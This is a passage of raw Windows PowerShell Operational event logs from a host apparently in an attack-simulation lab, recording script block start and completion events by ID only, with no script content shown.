invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987757 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987756 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987755 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:05 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987754 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987773 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987772 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987771 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987770 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987769 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987768 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987767 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987766 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987765 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:10 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987764 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987783 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987782 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987781 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987780 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987779 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987778 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987777 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987776 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987775 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:15 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987774 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987793 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987792 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987791 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987790 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987789 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987788 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987787 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987786 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987785 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:19 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987784 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987803 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987802 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987801 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987800 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987799 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987798 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987797 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987796 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987795 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:23 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987794 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987813 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987812 Keywords=None Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987811 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987810 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987809 Keywords=None Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987808 Keywords=None Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787 Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987807 Keywords=None Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987806 Keywords=None Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987805 Keywords=None Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:29 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Starting Command OpCode=On create calls RecordNumber=1987804 Keywords=None Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4106 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Stopping Command OpCode=On create calls RecordNumber=1987823 Keywords=None Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa 09/09/2021 06:05:34 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4105 EventType=5 Type=Verbose ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED 